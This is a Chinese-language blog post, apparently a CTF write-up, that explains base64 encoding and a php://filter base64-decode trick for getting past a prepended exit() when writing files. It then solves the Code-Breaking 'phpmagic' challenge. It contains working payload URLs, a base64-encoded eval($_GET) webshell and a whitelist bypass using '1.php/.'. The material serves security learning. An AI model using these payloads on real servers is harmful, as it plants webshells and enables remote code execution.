php://filter编码绕过
前言
利用code-breaking学学奇淫技巧
base64编码
以三个字符为一组经过base64加密形成四个字符,如果最后一组不足三个字符,使用0填充形成”=”
字符 -> ASCII -> 8bit字节 -> 6bit字节 -> 十进制 -> 对应编码
T o m
ASCII: 84 111 109
8bit字节: 01010100 01101111 01101101
6bit字节: 010101 000110 111101 101101
十进制: 21 6 61 45
对应编码: V G 9 t
L u c y
ASCII: 76 117 99 121
8bit字节: 01001100 01110101 01100011 01111001 00000000 00000000
6bit字节: 010011 000111 010101 100011 011110 010000 000000 000000
十进制: 19 7 21 35 30 16 (异常) (异常)
对应编码: T H V j e Q = =
php://filter编码绕过exit
如上代码即使写入webshell,也会被exit给shutdown
献上payloadhttp://127.0.0.1/exit.php?filename=php://filter/write=convert.base64-decode/reesource=1.php&content=xPD9waHAgcGhwaW5mbygpOw==
webshell 前的x是我故意加上去,可以看到exit语句被编码之后形成乱码。
接下来分析下缘由,需要写入webshell
,但是由于exit
的存在,导致getshell
失败。这里用到的绕过知识是php
中base64_decode
只会对[^a-z0-9A-Z+/]
解码,而字符<、?、;、>、空格
等一共有7个字符不符合base64
编码的字符范围将被忽略。所以base64_decode
只作用于phpexit
,但本题中<?php phpinfo();
base64之后为4的倍数,但是拼接phpexit
七个字节之后不满足base64解码条件以4个字节为一组解码。所以我们在前面加个字母x
Codebeaking-phpmagic
代码功能主要通过dig -t A -q
对输入的domain
网址进行dns解析。但是我们的目的是写入shell得到flag。本来想着看是否能够绕过escapeshellarg
达到getshell
目的,可能太渣没有发现绕过的方法。
目光转到了写入文件file_put_contents($log_name, $output);
很容易想到使用php伪协议
,发现log_name是由$_SERVER['SERVER_NAME']
和$log_name
拼接而成。当开启UseCanonicalName=ON
和ServerName
,可以通过客户端控制。
logname
被in_array
白名单强判断,需要绕过。这里参考
php & apache2 &操作系统之间的一些黑魔法
php会对 1.php/.
解析为1.php
。且这里1.php/.
也能绕过in_array
判断
out_put
被htmlspecialchars
实体编码直接写入一句话会被转义,这里就可以使用base64一句话木马进行getshell
。
NOTIC:尽量使得webshell
满足3的整数倍注意base64之后的一句话不要带有"="
否则会读取失败
<?php @eval($_GET[456]);/*.... =》 PD9waHAgQGV2YWwoJF9HRVRbNDU2XSk7LyouLi4u
利用
http://127.0.0.1:8082/data/2ff4fb82e497844a03adf28cf6bedfde/7.php?456=print_r(scandir(%27../../../%27));highlight_file(%27../../../flag_phpmag1c_ur1%27);
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!